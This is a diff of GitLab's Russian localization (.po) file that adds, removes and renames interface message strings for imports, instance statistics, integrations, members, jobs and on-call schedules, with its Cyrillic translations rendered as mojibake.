msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr "Импорт проектов из Gitea"
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr "Импортировать ÑкÑпортированный проект GitLab"
@@ -14153,9 +14494,6 @@ msgstr "Импорт проектов из FogBugz"
msgid "Import projects from GitLab.com"
msgstr "Импорт проектов из GitLab.com"
-msgid "Import projects from Google Code"
-msgstr "Импорт проектов из Google Code"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Импорт репозиториев из Bitbucket Server"
@@ -14186,6 +14524,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "Заблокирован URL импорта: %{message}"
@@ -14219,6 +14560,9 @@ msgstr "Ðе удалоÑÑŒ Ñоздать репозиторий."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr "Ð’ процеÑÑе"
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14429,9 +14770,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14516,9 +14854,6 @@ msgstr "УÑтановите GitLab Runner"
msgid "Install Runner on Kubernetes"
msgstr "УÑтановить Runner на Kubernetes"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14544,73 +14879,79 @@ msgstr[3] "ЭкземплÑры"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "Желающие могут внеÑти Ñвой вклад, отправив коммит, еÑли захотÑÑ‚."
@@ -14796,6 +15155,9 @@ msgstr "Ðеверный формат Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ð³Ð¾ типа фаÐ
msgid "Invalid file."
msgstr "ÐедопуÑтимый файл."
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14838,6 +15200,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14862,6 +15227,9 @@ msgstr "ПриглаÑить группу"
msgid "Invite member"
msgstr "ПриглаÑить учаÑтников"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "ДоÑки обÑуждений"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr "ОбÑуждение уже было продвинуто до цели."
@@ -15099,6 +15467,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "ДоÑка"
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr "Задача была перезапущена"
msgid "Jobs"
msgstr "ЗаданиÑ"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "ПроÑмотр"
@@ -15543,6 +15935,9 @@ msgstr "Ключи"
msgid "Ki"
msgstr "Ки"
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr "ФамилиÑ"
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "ПоÑледний ответ от"
@@ -15823,6 +16215,9 @@ msgstr "Подробнее о Kubernates"
msgid "Learn more about License-Check"
msgstr "Узнайте больше о проверке лицензии"
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr "Узнайте больше о Vulnerability-Check"
@@ -15850,9 +16245,6 @@ msgstr "Узнайте больше о развертывании в клаÑÑ‚Ð
msgid "Learn more about group-level project templates"
msgstr "Узнать больше о шаблонах проекта группового уровнÑ"
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr "Узнайте больше о подпиÑывании коммитов"
@@ -15883,9 +16275,6 @@ msgstr "Покинуть группу"
msgid "Leave project"
msgstr "Покинуть проект"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr "ЛицензиÑ"
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr "Служба комплаенÑа лицензий не обнаружи
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr "Служба комплаенÑа лицензий не обнаружила новых"
-msgid "LicenseCompliance|License details"
-msgstr "Ð¡Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¾ лицензии"
-
msgid "LicenseCompliance|License name"
msgstr "Ðазвание лицензии"
-msgid "LicenseCompliance|License review"
-msgstr "Обзор лицензии"
-
-msgid "LicenseCompliance|Packages"
-msgstr "Пакеты"
-
msgid "LicenseCompliance|Remove license"
msgstr "Удалить лицензию"
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "Эта Ð»Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ ÑƒÐ¶Ðµ еÑÑ‚ÑŒ в Ñтом проекте."
-msgid "LicenseCompliance|URL"
-msgstr "URL"
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ удалить лицензию %{name} из Ñтого проекта."
@@ -16138,6 +16512,9 @@ msgstr "Ограничить отображение единицы временÐ
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16160,6 +16537,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,16 +16804,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16499,7 +16870,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16511,7 +16882,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr "МакÑимальный уровень доÑтупа"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "Ðапишите комментарий к коммиту запроÑа на ÑлиÑние"
@@ -16916,6 +17314,9 @@ msgstr "ЗапроÑÑ‹ на ÑлиÑние- Ñто меÑто, где можно
msgid "Merge requests are read-only in a secondary Geo node"
msgstr "ЗапроÑÑ‹ на ÑлиÑние доÑтупны только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ Ð²Ð¾ вторичных узлах Geo"
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr "Объединить при уÑпешном выполнении Ñборочной линии"
@@ -17476,6 +17877,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Этап %{milestoneTitle} не найден"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° - %{minimum_password_length} Ñимволов"
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° - %{minimum_password_length} Ñимволов."
-
msgid "Minimum password length (number of characters)"
msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Ð¿Ð°Ñ€Ð¾Ð»Ñ (количеÑтво Ñимволов)"
@@ -17677,8 +18078,8 @@ msgstr "Добавить ключ SSH"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "Больше не показывать"
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Ð’Ñ‹ не Ñможете отправлÑÑ‚ÑŒ или получать код проекта Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ SSH, пока не добавите ключ SSH в ваш профиль"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
+msgstr ""
msgid "ModalButton|Add projects"
msgstr ""
@@ -17773,6 +18174,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr ""
msgid "Need help?"
msgstr "Ðужна помощь?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18162,7 +18572,7 @@ msgstr "Ðикогда"
msgid "New"
msgstr "Ðовый"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr "Ðовое требование"
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr "Ðовый региÑтрационный токен обработчика заданий Ñгенерирован!"
@@ -18421,9 +18834,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18607,9 +19017,6 @@ msgstr "Веб-обработчики не найдены, добавьте од
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr "Ðе беÑпокойтеÑÑŒ, вы вÑÑ‘ ещё можете иÑпользовать вÑе функции %{strong}%{plan_name}%{strong_close}. У Ð²Ð°Ñ Ð¾ÑталоÑÑŒ %{remaining_days} Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð´Ð¿Ð¸Ñки."
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr "Были обработаны не вÑе данные, точноÑÑ‚ÑŒ графика Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ периода времени ограничена."
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "ÐедоÑтупно"
@@ -18664,6 +19074,9 @@ msgstr "ÐедоÑтаточно данных"
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18676,6 +19089,9 @@ msgstr "Заметка"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18715,6 +19131,9 @@ msgstr "Показывать только иÑторию"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr "Этот комментарий изменилÑÑ Ñ Ñ‚ÐµÑ… пор, как вы начали редактирование, проÑмотрите %{open_link}обновленный комментарий%{close_link}, чтобы убедитьÑÑ, что Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ðµ потерÑна"
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr "Ðичего не найдено…"
@@ -18751,9 +19170,15 @@ msgstr "Ðеудача в Ñборочной линии"
msgid "NotificationEvent|Fixed pipeline"
msgstr "Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ Ð¸Ñправлена"
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Влит Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "ÐÐ¾Ð²Ð°Ñ Ñ†ÐµÐ»ÑŒ"
@@ -18769,6 +19194,9 @@ msgstr "ÐÐ¾Ð²Ð°Ñ Ð·Ð°Ð¼ÐµÑ‚ÐºÐ°"
msgid "NotificationEvent|New release"
msgstr "Ðовый релиз"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Переназначить обÑуждение"
@@ -18778,6 +19206,9 @@ msgstr "Переназначен Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "NotificationEvent|Reopen issue"
msgstr "Переоткрыть обÑуждение"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "УÑÐ¿ÐµÑˆÐ½Ð°Ñ ÑÐ±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ"
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr "По плану"
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,8 +19428,8 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "ПоÑле импорта, репозитории могут зеркалироватьÑÑ Ñ‡ÐµÑ€ÐµÐ· SSH. Подробней %{link_start}здеÑÑŒ%{link_end}."
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
-msgstr "ПоÑле удалениÑ, ÑвÑзь Ð¾Ñ‚Ð²ÐµÑ‚Ð²Ð»ÐµÐ½Ð¸Ñ Ð½Ðµ может быть воÑÑтановлена, и вы больше не Ñможете отправлÑÑ‚ÑŒ запроÑÑ‹ на ÑлиÑние в иÑточник."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
+msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
msgstr "ПоÑле того, как ÑкÑпортируемый файл будет готов, вы получите уведомление по Ñлектронной почте Ñ ÑÑылкой Ð´Ð»Ñ ÑкачиваниÑ, или вы Ñможете Ñкачать его Ñ Ñтой Ñтраницы."
@@ -18995,9 +19453,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "Один или неÑколько проектов Google Code не могут быть импортированы в GitLab, поÑкольку они иÑпользуют Subversion или Mercurial Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð²ÐµÑ€ÑиÑми, а не Git."
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19079,6 +19534,9 @@ msgstr ""
msgid "Open raw"
msgstr "Открыть иÑходник"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr "ÐаÑтройки"
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19349,6 +19807,9 @@ msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информацÐ
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации о рееÑтре PyPi %{linkStart}Ñмотрите документацию%{linkEnd}."
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "ЕÑли вы еще не Ñделали Ñтого, вам нужно будет добавить нижераÑположенное в Ñвой файл %{codeStart}.pypirc%{codeEnd}."
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19487,9 +19951,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr "Страница была уÑпешно удалена"
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr "РаÑпиÑÐ°Ð½Ð¸Ñ Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ñ‹Ñ… Линий"
msgid "Pipeline minutes quota"
msgstr "Квота иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ CI в минутах"
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19862,9 +20326,6 @@ msgstr ""
